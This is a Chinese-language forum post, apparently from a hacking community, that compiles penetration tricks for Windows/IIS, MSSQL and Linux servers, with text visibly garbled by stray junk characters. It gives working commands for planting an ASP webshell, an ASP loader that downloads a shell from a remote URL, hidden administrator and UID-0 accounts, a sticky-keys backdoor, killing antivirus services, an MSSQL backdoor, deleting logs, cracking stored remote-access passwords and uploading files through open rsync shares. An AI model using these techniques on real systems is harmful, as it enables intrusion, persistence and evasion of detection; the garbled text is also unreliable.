渗透技巧总结

admin

旁站路径问题
( S3 |- h( L3 T1、读网站配置。
2、用以下VBS
5 b1 W* R* l4 N6 P3 [! _2 b+ dOn Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
' \- b# L3 T" A. c% a
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
' K! V/ q# V/ z4 c) w/ l
Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
, }- Y1 D5 f7 Y2 @End If
Set ObjService=GetObject

("IIS://LocalHost/W3SVC")
; H1 J: ]& T$ R( z8 q% OFor Each obj3w In objservice
        If IsNumeric(obj3w.Name)

/ q1 L- k0 q% o5 B7 A% FThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
1 ~, X& c9 y( f/ n3 m         
; M) w0 p! A2 T/ W% h6 h' P
       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
% D  C/ g+ |0 _1 w                If Err
% G8 M$ e0 h8 c
<> 0 Then WScript.Quit (1)
/ h& ]# k; ?. b; p                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
     
/ G( h2 `1 g( ^7 j& r6 [9 ~
8 q6 |$ {. A* h! U& O                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
; T& l% m: S; j' G* k                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
2 N% ]" G4 |) D6 }# j" l                Next
& [( g! m0 Z! E  A      

8 @2 ?6 Q0 h) I/ h) W" c7 b3 b9 u         WScript.Echo "ath            : " & VDirObj.Path
        End If
Next
复制代码
4 R5 C) a: [  [1 c1 d! ^9 ^3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
3 p; ~" e8 u3 L. d7 V, }2 R4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
5 I: V/ r! h4 P  t* x* q7 |url/wp-content/plugins/akismet/hello.php
——————————————————————
0 L+ I9 L4 z4 X2 a, h5 rphpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
* k4 F0 s4 B) b$ W1 G  C+ vphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
! T2 C+ _- O: T% Q& o  Y" \网站可能目录(注：一般是虚拟主机类）
1 m: G6 r% }" n9 o, Sdata/htdocs.网站/网站/
4 O$ t# a0 S' S) S' R————————————————————
5 n/ }$ N. ]5 d6 x/ c+ V$ uCMD下操作VPN相关
& u" X& v2 C6 z" i$ ]" ^; cnetsh ras set user administrator permit #允许administrator拨入该VPN
( g7 E) V" h1 m1 S5 t1 Ynetsh ras set user administrator deny #禁止administrator拨入该VPN
- R: M, n- U2 {6 m! k8 @' J+ D* Mnetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
* p* h, L/ a6 A& n# l! u3 {4 Bnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
8 \, b) |: |0 K/ u% [6 @命令行下添加SQL用户的方法
% \" p" C6 V' K- a4 L需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
; M9 ]8 G5 m: q# d8 yEXEC sp_addsrvrolemember 'test, 'sysadmin'
) U8 R8 ]9 R9 w然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

2 g6 J" C+ u% r5 ^4 U/ o另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
3 T. j( I% Y. {js:
- k$ f5 P0 L, uvar o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
; r) F, }$ U# C* l! Az.changePassword("123456","")
) o3 \* O; X7 x& _& B, r5 w: Nz.setting("AccountType")=3;

vbs:
& U4 F; p0 d; G+ f. JSet   o=CreateObject( "Shell.Users" )
; d5 I! X$ M1 E, W0 rSet z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

命令如下
6 J6 S4 t! D4 Icacls c: /e /t /g everyone:F           #c盘everyone权限
) Q; c, a: o7 S8 L  Ocacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
- ~7 x8 X5 Q9 x7 L! q' a3389相关
2 k% U, h! L; ra、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
, }- ~/ v2 ]# \8 x  Nb、内网环境（LCX）
c、终端服务器超出了最大允许连接
$ ?. E  J/ s1 YXP 运行mstsc /admin
7 ?# C; y5 _/ [# |2003 运行mstsc /console   
+ I3 C. r* Y( x! w; i" V! v3 a
杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
4 b+ t& q* ^4 j3 ynet stop "Symantec AntiVirus" /y
3 M7 B; W7 \$ |$ H' Anet stop "Symantec AntiVirus Definition Watcher" /y
) }  `, J5 K' A6 `  c) o: R: p& ?net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
" T/ R% e8 a  ?; J2 R( b; ?
卖咖啡：net stop "McAfee McShield"
————————————————————

5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
' }9 i0 g9 @# `: _( E# _" Mcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
9 j- q' X" e- Rcopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
& H+ h/ ?1 U1 A! {/ {隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
$ {* c9 }3 O* T9 n9 o& Y& e3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
9 T- Z' R1 H5 t4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
MSSQL扩展后门：
( ]' h! m# U& p9 d4 g1 EUSE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
' D) P- O* I, ^) O9 G# `GRANT exec On xp_helpsystem TO public;
———————————————————————
) C9 `5 K. d7 c8 [日志处理
8 d6 V8 O( B1 P1 FC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
5 q& z* F- \3 K& |2 K: K3 ^ex011120.log / ex011121.log / ex011124.log三个文件，
% B1 P% {3 l8 H$ P直接删除 ex0111124.log
不成功，“原文件...正在使用”
, T$ h2 {$ b/ Z3 i0 k( E  G, ?当然可以直接删除ex011120.log / ex011121.log
! K" H) N+ ?  H( J* b9 C用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
6 o+ w8 N- G' V8 j5 k当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
7 h, t! D& }4 h1 `& A) EHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
5 M9 i0 x5 k6 w2 Y0 S4 Y/ l3 B找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
0 Y# Z) W9 w: W0 l  u$ N) P! u
; P4 {8 a  ]6 h8 s: U9 u; Z3 o. mServer\90\Tools\Shell\mru.dat
; _7 V5 `) C* N  b- K: w! V) c—————————————————————————
3 x. A/ t0 o& @" J防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

! E- F( I- S$ [3 C/ W- N<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
: }  j' f0 x1 [. y0 cDim Ads, Retrieval, GetRemoteData
- F- _5 ]. G# r- c1 ]On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
6 ^% r3 L) d  }: T- x, X.Send
8 F# m' ?2 s; j- d1 H( _$ M+ IGetRemoteData = .ResponseBody
End With
" Z3 @- j& o# wSet Retrieval = Nothing
; s1 v) j5 k3 X, y& bSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
  y; x# W. {, P2 X9 `0 F.Open
3 m  e/ k/ D- ~+ u/ Q.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
7 @4 ~9 b: b' J.Cancel()
.Close()
# \! c7 r- X! j( U7 hEnd With
0 k: P' n- G9 ~Set Ads=nothing
0 u" `! P& ~$ ^9 v- CEnd Sub
: _/ s/ B% j$ ^% H( x* e" }
$ i9 F# [. A+ U) }8 q: `eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
8 m5 X' d  \0 G. t8 r9 [4 `) i%>
  H/ l5 w8 {" U7 s: Z+ e0 q2 z
VNC提权方法:
5 I2 L* e" H- R4 [利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
  |3 I8 p0 o) ?注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
2 e6 F3 }; n7 vregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
4 \6 h3 U. W+ y( f搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
, r) U2 c6 p3 @: u0 q; S1 c——————————————————----------
4 I% O& C" Y5 ]4 K' T# @# G2 GWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
; _( O2 e, e6 N" q. K: V没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。

& _7 @! ^2 V9 {1433 SA点构建注入点。
+ k9 K! s3 ~# N% N; W# d( X  U<%
& c- {! A9 {: sstrSQLServerName = "服务器ip"
6 K* C9 a$ F1 p9 BstrSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
8 e4 Y+ ^  q8 [( ?$ @Set conn = Server.createObject("ADODB.Connection")
, x/ c6 H  C' GstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
& o  p% W' A& H+ k6 K
";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

; v8 ^+ e  l; F, G! P3 dstrSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
0 C$ A, R1 L& m2 xset rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
复制代码
******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
- H9 i% L6 u! Q) \+ n+ d3 S8 A. `看看密码登录策略我们可以看到使用了file ldap模式
& a- @. E. C% D7 i
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
3 @3 T  M" p1 H7 J/ f
3.查找管理员信息
匿名方式
0 o6 H# F; T! u% t/ v* ]: ]ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
6 a5 M( c2 C8 z8 l8 r9 |
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
* e; \8 x+ M' l2 k2 A# D# i6 H1 I
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
0 w) F( `2 K, [5 O1 F3 eldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

* t% C& s: M0 V2 w* V$ N5 F3 ?4 G2.less /etc/ldap.conf
8 _- u) S+ S3 T7 Y2 Xbase ou=People,dc=unix-center,dc=net
9 Z* z, R* N$ p. {. E. ]; s找到ou,dc,dc设置

3.查找管理员信息
+ G! e8 W& Q+ L; ?& ]) t, ]8 {8 g匿名方式
: \- N6 r4 m1 o) p, T9 J7 t# zldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
. X; u3 k. |6 }  [+ W- K
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
1 A1 t: n# W; @3 [3 \有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
' f( U/ o) x. H
1 Z; V( J6 U& ~  ^! c: B"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
( P. }3 d# _# M  F" B& J
$ _2 F5 c1 t* k1 s( I' U' |
$ x8 B0 g& k) e4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
1.返回所有的属性
8 S  w8 V. m$ L2 G5 _" N# y5 _; }ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
2 |) @; m# g5 S  W& U' Mversion: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
9 S9 j* N7 }2 c' f/ yobjectClass: domain

; M! W/ P+ t: a4 \# idn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
2 d. b& l. E* A/ x# @objectClass: person
objectClass: top
9 B' y: w2 R9 O8 z- F. S; n% ssn: manager
cn: manager
7 V3 F* b  q- _/ O
% A# O1 f" N% H# G2 V; A4 q( Udn: uid=superadmin,dc=ruc,dc=edu,dc=cn
$ `* y# L8 P2 Auid: superadmin
objectClass: inetOrgPerson
8 z' M, N4 ?. O- `/ ?objectClass: organizationalPerson
& M9 y0 |+ p( }objectClass: person
objectClass: top
/ P$ N2 V/ d! _0 r4 S- ]sn: superadmin
' S- D% {' j. G8 A8 ecn: superadmin
$ `" r7 q7 S; _8 w- [) y2 f  X- w
( A& l  h! W  C' H4 q& @: F2 Y5 `6 Hdn: uid=admin,dc=ruc,dc=edu,dc=cn
9 r8 w6 \2 C7 D9 b# x; G& w. S1 O- Iuid: admin
objectClass: inetOrgPerson
( `. a% R: d8 C  s* iobjectClass: organizationalPerson
2 {7 x* `* X3 mobjectClass: person
. C. c7 k! w+ x' d, N4 {+ E6 F& g* MobjectClass: top
sn: admin
cn: admin
" h7 Y1 A* g7 r; e) O
2 a4 Z5 i8 ~# t) p& Wdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
' l/ z( j' q" L$ ?% B5 g9 S% E. xobjectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
( f( y, O6 m/ R+ j# L: e+ Ecn: dcp_anonymous
8 h+ a& U4 }3 O* \! d+ C
2.查看基类
7 g4 m  [  r* ?5 O8 ?bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
& h7 Y0 l5 v" u5 J: y! {
more
' N. c$ V3 |8 ?8 F2 i7 v* kversion: 1
dn: dc=ruc,dc=edu,dc=cn
$ M; [8 E7 ?/ Z# y; Tdc: ruc
objectClass: domain

) u5 N7 t0 x7 _+ l3 x9 u0 Z" [3 b3.查找
" {& D4 M4 G7 `4 a' vbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
! M5 C' W4 W0 d. \3 U: G% ]dn:
/ D# d9 ^: B) m: yobjectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
& q- c" c7 }0 V8 }& QsupportedExtension: 2.16.840.1.113730.3.5.8
) x! \3 q- Y* X6 k. _* S+ ssupportedExtension: 1.3.6.1.4.1.4203.1.11.1
. p1 K, H+ O3 l5 \+ CsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
3 ?. N4 b$ J, ysupportedExtension: 2.16.840.1.113730.3.5.3
3 A# f2 M) O* ?2 ~2 o" ^0 TsupportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
% _" t) ^3 o4 WsupportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
/ u3 @- V% Z+ ZsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
" s/ t4 R1 O$ Q* |1 y* u* }supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
5 M( _1 q8 M  |) S  nsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
+ Y" Y) w* f- o% ?5 G' m2 qsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
; b/ I2 _  e% h) w4 F' b& J! _supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
$ r6 ^& M9 C! Y* {7 csupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
) f. u1 S# z* t  _supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
  R' t. a  T. }) hsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
7 d" {; V( A! O5 P3 H  ~- TsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
) P# y7 j7 _7 W  AsupportedControl: 2.16.840.1.113730.3.4.2
0 b( F- R$ `) G& K$ zsupportedControl: 2.16.840.1.113730.3.4.3
5 r3 R9 v$ ?* y$ u6 ~supportedControl: 2.16.840.1.113730.3.4.4
0 C0 W2 u. j; {supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
# H7 u+ @& _: @! isupportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
; r% ]/ b/ a# z2 B) M" Q- HsupportedControl: 2.16.840.1.113730.3.4.15
- w' R) A! f  [& x9 KsupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
  n6 y) I: O9 J' ]3 ]% hsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
2 H) U5 z6 Z. B! [$ f" [supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
/ ?/ X( Q* j. I7 u5 ^2 y( rsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
0 Q, K1 F+ }+ y$ Q/ a3 d, ]supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
. f; n/ }5 H% \- Z5 o; q. N( FsupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
" R' A* K1 g/ W% M1 m/ U9 }supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
: @/ G, n' e) {+ asupportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
" Z& t1 Z2 ]: x9 C' qsupportedLDAPVersion: 2
supportedLDAPVersion: 3
; P1 V1 }; C- |' g6 RvendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
9 s( m9 z0 A& l: j5 odataversion: 020090516011411
. ~7 d) Z0 A7 }# @4 a. unetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
/ V9 S; B8 E3 OsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
5 _$ h9 E; Y& C- XsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
  v3 f8 _# T8 ~supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
. @+ L1 V1 o! B/ SsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
" d  [# U4 u, L5 tsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
( j  H7 p% x' c" YsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
2 S' r  T7 ]% P2 T% F# k# {6 UsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
( U. A+ x+ G! H! bsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
4 d" s- ^& y2 K6 G6 isupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
9 O/ O$ E9 V% v9 b6 DsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
" }9 q' V: \1 r  k5 ]+ esupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
0 q/ r9 @0 W2 E& ysupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
  Z) u8 h3 m! s& u3 SsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
# Y& O' i" o( xsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
  n6 [  X, w: U* `3 w. esupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
4 i' y9 C6 g$ y' z0 {# BsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
2 Y, {% Z7 A# k; V4 a3 [supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
# i; v1 ~4 _1 S% e0 N1 ?5 k) psupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
1 i5 I0 ^# h. V5 LsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
, `/ i: T, P9 YsupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
$ ]$ G& E5 k0 X  F- S1 [7 `, v) ]8 \supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
# }3 k$ w. Z+ P7 q, FsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
- }5 D: I4 ^( s* A: h————————————
2. NFS渗透技巧
4 G5 q5 a1 ]. C+ c% {2 D0 ishowmount -e ip
& T: ~+ O/ n- P- i) P: W7 H% o, _: u- ^列举IP
5 I3 ~9 @) F6 D——————
3.rsync渗透技巧
1.查看rsync服务器上的列表
! I% R! p! D4 a( l, {+ o% x6 {rsync 210.51.X.X::
2 {# _6 O$ W0 `" V$ w5 j3 afinance
+ k: N9 e- {8 F  J" i5 E9 Jimg_finance
auto
img_auto
html_cms
img_cms
) g9 ]8 T* o; c) d3 f6 E/ H$ Xent_cms
ent_img
ceshi
res_img
8 Y4 t! N( z+ J8 G5 Jres_img_c2
chip
. p. X! y1 g0 @- f! z% qchip_c2
8 ]2 f8 @" |. {+ [% t0 pent_icms
games
3 X% ^0 Y7 n+ [* w3 wgamesimg
media
mediaimg
$ A8 a0 ~, }# |% E" C+ B3 Bfashion
res-fashion
res-fo
taobao-home
res-taobao-home
house
res-house
res-home
0 X4 l  E4 e+ J1 J9 yres-edu
res-ent
, W/ }+ E9 Z0 ^res-labs
! }# e8 W% c/ g; `; y% o+ Gres-news
res-phtv
res-media
$ ]- ~' u: h& K  B* l/ p. X& Thome
9 R( R! h" {- j7 I' ^- h3 xedu
news
9 ]' a6 j, X1 y% N% z; D# ^* E' B2 Hres-book

/ E% |2 ^0 n' x4 H看相应的下级目录(注意一定要在目录后面添加上/)
+ D9 c& A7 H* e% p' R% \! i+ h; [3 u- ]; H

rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
% `8 C, v3 U: E1 r" Q4 grsync 210.51.X.X::edu/

: G* B& K3 |$ u5 i2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt

四.squid渗透技巧
nc -vv baidu.com 80
: L9 k. T2 @. h. D; lGET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
: a! j8 s; p0 X: o% D" N3 l3 X( I
" Q6 q- ^' {) E2 t( z15&catid=32:languages&Itemid=47
/ Z+ q. k$ I: R
重新设置密码
5 ~4 s- c4 v  h) ~) Mindex.php?option=com_user&view=reset&layout=confirm

3 S! O1 D" n( `! }" c% h七: Linux添加UID为0的root用户
0 i5 \8 b0 O8 P) `2 I, E/ ~useradd -o -u 0 nothack

) ~5 L) A7 R; m/ R' {# F八.freebsd本地提权
  X# w) o. e. y9 ?0 S3 e6 R[argp@julius ~]$ uname -rsi
) ]# W$ W+ i- X" E" @6 r! B* freebsd 7.3-RELEASE GENERIC
6 z) g2 Q/ |$ i# N5 l* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
" a4 H' g% ]8 c! c2 F* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
4 ~6 p6 \* U2 V! Kcalling nmount()
" A: _" V) C' I, Q% j
（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
9 v6 d) B! k- p* T- s6 x——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
" }- e- Q  F$ H2 A. Q! j) D. d————————————————————————————
